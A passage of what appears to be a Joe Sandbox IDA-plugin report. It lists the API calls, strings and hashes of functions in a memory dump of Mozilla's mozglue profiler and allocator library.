ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF212
GetCurrentThreadId.KERNEL32 ref: 6C8EF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C8EF248
GetCurrentThreadId.KERNEL32 ref: 6C8EF2AE
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF2BB
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF2F8

Part of subcall function 6C8DCBE8: GetCurrentProcess.KERNEL32(?,6C8A31A7), ref: 6C8DCBF1
Part of subcall function 6C8DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8A31A7), ref: 6C8DCBFA

Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8B4A68), ref: 6C8E945E
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8E9470
Part of subcall function 6C8E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8E9482
Part of subcall function 6C8E9420: __Init_thread_footer.LIBCMT ref: 6C8E949F

GetCurrentThreadId.KERNEL32 ref: 6C8EF350
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF35D
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF381
GetCurrentThreadId.KERNEL32 ref: 6C8EF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EF3A0
GetCurrentThreadId.KERNEL32 ref: 6C8EF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EF491

Part of subcall function 6C8E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8E94EE
Part of subcall function 6C8E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C8EF3CF

Part of subcall function 6C8EF070: GetCurrentThreadId.KERNEL32 ref: 6C8EF440
Part of subcall function 6C8EF070: AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF44D
Part of subcall function 6C8EF070: ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C8EF4A8
GetCurrentThreadId.KERNEL32 ref: 6C8EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8EF561
GetCurrentThreadId.KERNEL32 ref: 6C8EF577
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF585
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C8EF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C8EF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C8EF499
[I %d/%d] profiler_resume, xrefs: 6C8EF239

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: f6c17bd447c55df28a3510e2eb5fcbd9e9def3926d128e9f7cac0e2822359e5a
Instruction ID: e232ca0d34c255c3a10e8ddb7cb11be6f542e11ed7ebfe4f95475d8c5d1f2b5d
Opcode Fuzzy Hash: f6c17bd447c55df28a3510e2eb5fcbd9e9def3926d128e9f7cac0e2822359e5a
Instruction Fuzzy Hash: 14D11E717183149FDB10AF78D50879677F8EB4B32CF204A69E99943B81DB789908C7A2

Function 6C8B64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C8B64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C8B64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C8B6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C8B6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C8B652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C8B671C
GetCurrentProcess.KERNEL32 ref: 6C8B6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C8B672F
GetCurrentProcess.KERNEL32 ref: 6C8B6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C8B6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C8B6A80
GetSystemInfo.KERNEL32(?), ref: 6C8B6ABE
__Init_thread_footer.LIBCMT ref: 6C8B6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8B6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8B6AF7

Strings

_etoured.dll, xrefs: 6C8B64ED
user32.dll, xrefs: 6C8B6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C8B6798
detoured.dll, xrefs: 6C8B64DA
nvd3d9wrap.dll, xrefs: 6C8B6500
nvdxgiwrap.dll, xrefs: 6C8B6513

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 6a870ee1c498ba297484d98eb9a2b793df1d8a5ba4eb3d72d3b0df6aec8906e2
Instruction ID: b1fc047160ddb0ede1afb368674964aa5bd4c46bffd253db27da848017682592
Opcode Fuzzy Hash: 6a870ee1c498ba297484d98eb9a2b793df1d8a5ba4eb3d72d3b0df6aec8906e2
Instruction Fuzzy Hash: F3F1E2709052299FDF34CF24CE88B9AB7B5AF46318F2446A9D859B3741D731AE84CF90

Function 6C8EE2F0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 466threadCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,6C8EE2A6), ref: 6C8EE35E
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?,?,6C8EE2A6), ref: 6C8EE386
GetCurrentThreadId.KERNEL32 ref: 6C8EE3E4
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EE3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6C8EE4AB
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EE4F5
GetCurrentThreadId.KERNEL32 ref: 6C8EE577
AcquireSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EE584
ReleaseSRWLockExclusive.KERNEL32(6C92F4B8), ref: 6C8EE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C8EE8A6

Part of subcall function 6C8AB7A0: ?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C8AB7CF
Part of subcall function 6C8AB7A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C8AB808

Part of subcall function 6C8FB800: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000000,6C920FB6,00000000,?,?,6C8EE69E), ref: 6C8FB830

memset.VCRUNTIME140(?,00000000,00000000), ref: 6C8EE6DA

Part of subcall function 6C8FB8B0: memset.VCRUNTIME140(00000000,00000000,00000000,80000000), ref: 6C8FB916
Part of subcall function 6C8FB8B0: free.MOZGLUE(00000000,?,?,80000000), ref: 6C8FB94A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C8EE864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8EE883

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C8EE5A1, 6C8EE5CC, 6C8EE5FF, 6C8EE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C8EE722, 6C8EE750, 6C8EE7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C8EE826, 6C8EE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C8EE777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C8EE655

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: ExclusiveLockfree$memset$AcquireCurrentReleaseThreadXbad_function_call@std@@$?vprint@PrintfTarget@mozilla@@__stdio_common_vsprintfmemcpy
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 2698983630-53385798
Opcode ID: 5bb0f39f6c81619f07b8ea6d7ac46c328e0f8b188313928c319cdf7fc567c08b
Instruction ID: 52b378c2076226099fcd4d557ac1686ceb97609c879af166c2901985f39a386a
Opcode Fuzzy Hash: 5bb0f39f6c81619f07b8ea6d7ac46c328e0f8b188313928c319cdf7fc567c08b
Instruction Fuzzy Hash: BF02AB71A04715DFCB20DF28C584A6AB7F5FF8A308F14492CE89A8BB51D734E945CB91

Function 6C8E7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C8E7E88
schema, xrefs: 6C8E81E3, 6C8E8311
data, xrefs: 6C8E8280, 6C8E83E1
name, xrefs: 6C8E7ECF, 6C8E8335

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 33f3c47364f5f3f2de55c54c02a73a20f732c0faf8595615360b8807146b5941
Instruction ID: 3bd58feb860e9e826776f7cf0ec54b4981f6a4344d5ca35d166266dbd3b5e4ec
Opcode Fuzzy Hash: 33f3c47364f5f3f2de55c54c02a73a20f732c0faf8595615360b8807146b5941
Instruction Fuzzy Hash: 19E19FB1A043448BC720CF68894165BF7E9BFC9314F154E2DE899E7780DB75ED098B92

Function 6C8CD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C92E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C8DD1C5), ref: 6C8CD4F2
LeaveCriticalSection.KERNEL32(6C92E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C8DD1C5), ref: 6C8CD50B

Part of subcall function 6C8ACFE0: EnterCriticalSection.KERNEL32(6C92E784), ref: 6C8ACFF6
Part of subcall function 6C8ACFE0: LeaveCriticalSection.KERNEL32(6C92E784), ref: 6C8AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C8DD1C5), ref: 6C8CD52E
EnterCriticalSection.KERNEL32(6C92E7DC), ref: 6C8CD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C8CD6A6
LeaveCriticalSection.KERNEL32(6C92E7DC), ref: 6C8CD712
LeaveCriticalSection.KERNEL32(6C92E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C8DD1C5), ref: 6C8CD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C8CD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C8CD82C
<jemalloc>, xrefs: 6C8CD827

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: c887ad10d3a5e464d89b9eaececeeb05e5fbd7e2195bad61a2b7667b5f05d164
Instruction ID: afcf4c12eef977245d973a177d5b4f2580893b0ac2efb8263ebb84c12cb1848b
Opcode Fuzzy Hash: c887ad10d3a5e464d89b9eaececeeb05e5fbd7e2195bad61a2b7667b5f05d164
Instruction Fuzzy Hash: AD91C271B587058FD724DF38C29062AB7E1FB8A314F254D2FE49A87A85D734E844CB82

Function 6C8A3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8A3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8A34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8A34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C8A350E
__Init_thread_footer.LIBCMT ref: 6C8A3522
__aulldiv.LIBCMT ref: 6C8A3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8A357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8A3592

Part of subcall function 6C8DAB89: EnterCriticalSection.KERNEL32(6C92E370,?,?,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB94
Part of subcall function 6C8DAB89: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DABD1

Strings

kernel32.dll, xrefs: 6C8A34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C8A3508

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: acdbd894bed1847f656438474f1a00e184b8807433b155450348070029d84e7c
Instruction ID: e715729fd6d9247ea526d009c2e80463673b5516b44a12792b894a94c6f1aec4
Opcode Fuzzy Hash: acdbd894bed1847f656438474f1a00e184b8807433b155450348070029d84e7c
Instruction Fuzzy Hash: ED31D371B142199BDF10DFB9CA4CEAA77B5FB45308F200829E582A3660DB38ED05CF60

Function 6C904EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C904EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C904F2E
moz_xmalloc.MOZGLUE ref: 6C904F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C904F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9052E6
Sleep.KERNEL32(00000010), ref: 6C905481
free.MOZGLUE(?), ref: 6C905498

Strings

(, xrefs: 6C905250

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 8dc76acb4b27eef5095d984e70952bf066c925a50b7390e75bbe4fbbfab657c9
Instruction ID: 5575ab325f41af6effd5a9fa801fa083818d3b6c6f7481ce605bb1b4ff28ad14
Opcode Fuzzy Hash: 8dc76acb4b27eef5095d984e70952bf066c925a50b7390e75bbe4fbbfab657c9
Instruction Fuzzy Hash: 7CF1E171A18B508FC716CF39C85162BB7F9AFD6284F158B2EF886A3650DB31D442CB81

Function 6C8B7810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C92E744), ref: 6C8B7885
LeaveCriticalSection.KERNEL32(6C92E744), ref: 6C8B78A5
EnterCriticalSection.KERNEL32(6C92E784), ref: 6C8B78AD
LeaveCriticalSection.KERNEL32(6C92E784), ref: 6C8B78CD
EnterCriticalSection.KERNEL32(6C92E7DC), ref: 6C8B78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C8B78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C8B795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C8B79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C8B7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C8B7C82
LeaveCriticalSection.KERNEL32(6C92E7DC), ref: 6C8B7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C8B7DAF

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 12f72d593f20cb61c4f051da3a9ed1339d185123e1f8d04436109b28fa7410f7
Instruction ID: 93c51622f6663411fb1b454b463eddbd8af1cf339a6f305370765d05aa9c9403
Opcode Fuzzy Hash: 12f72d593f20cb61c4f051da3a9ed1339d185123e1f8d04436109b28fa7410f7
Instruction Fuzzy Hash: 36026E31A053198FDB64CF28C994799B7B5FF88318F2586AAD809A7711D734BE90CF90

Function 6C905FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C906009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C906024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C8AEE51,?), ref: 6C906046
OutputDebugStringA.KERNEL32(?,6C8AEE51,?), ref: 6C906061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C906069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C906073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C906082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C92148E), ref: 6C906091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C8AEE51,00000000,?), ref: 6C9060BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9060C4

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 7eb11a11d3fcfbb4828f30d26c46d51824c1117a7df0d3798396e96d0ddd81d1
Instruction ID: 86ee02b2a2e29e69d2928758d11acb0829d382e67eef01fea5e5b30df74624f6
Opcode Fuzzy Hash: 7eb11a11d3fcfbb4828f30d26c46d51824c1117a7df0d3798396e96d0ddd81d1
Instruction Fuzzy Hash: A421A671A002089FDF206F29DC49A9A7BF8FF45218F108468E89A97641CB79E559CFD1

Function 6C8E5190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C8E51DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C8E529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6C8E52FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C8E536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C8E53F7

Part of subcall function 6C8DAB89: EnterCriticalSection.KERNEL32(6C92E370,?,?,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284), ref: 6C8DAB94
Part of subcall function 6C8DAB89: LeaveCriticalSection.KERNEL32(6C92E370,?,6C8A34DE,6C92F6CC,?,?,?,?,?,?,?,6C8A3284,?,?,6C8C56F6), ref: 6C8DABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6C8E56C3
__Init_thread_footer.LIBCMT ref: 6C8E56E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6C8E56BE

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: c3f3f2dfc8734fcc1c8bbbd548d51aedfbf9d830f941fbad1610b563224b4c71
Instruction ID: 5437f68b7cf56f9171fec2eafef2955f995f316a79a6d7d04b477d9c1430fbd1
Opcode Fuzzy Hash: c3f3f2dfc8734fcc1c8bbbd548d51aedfbf9d830f941fbad1610b563224b4c71
Instruction Fuzzy Hash: 42E17F72918F458AC723CF398851267B7B5BF9B394F109F1EE8AB2A950DB30E446C741

Function 6C907030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C907046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C907060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C90707E

Part of subcall function 6C8B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C8B81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C907096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C90709C
LocalFree.KERNEL32(?), ref: 6C9070AA

Strings

(null), xrefs: 6C90706A, 6C907083
### ERROR: %s: %s, xrefs: 6C907087

Memory Dump Source

Source File: 00000008.00000002.3210571747.000000006C8A1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000008.00000002.3210514417.000000006C8A0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210751552.000000006C91D000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210834681.000000006C92E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000008.00000002.3210888826.000000006C932000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c8a0000_7e96f85771.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 1bc4a68580704988df63ff479806165709882721a69755f4080fff9e84e67ddb
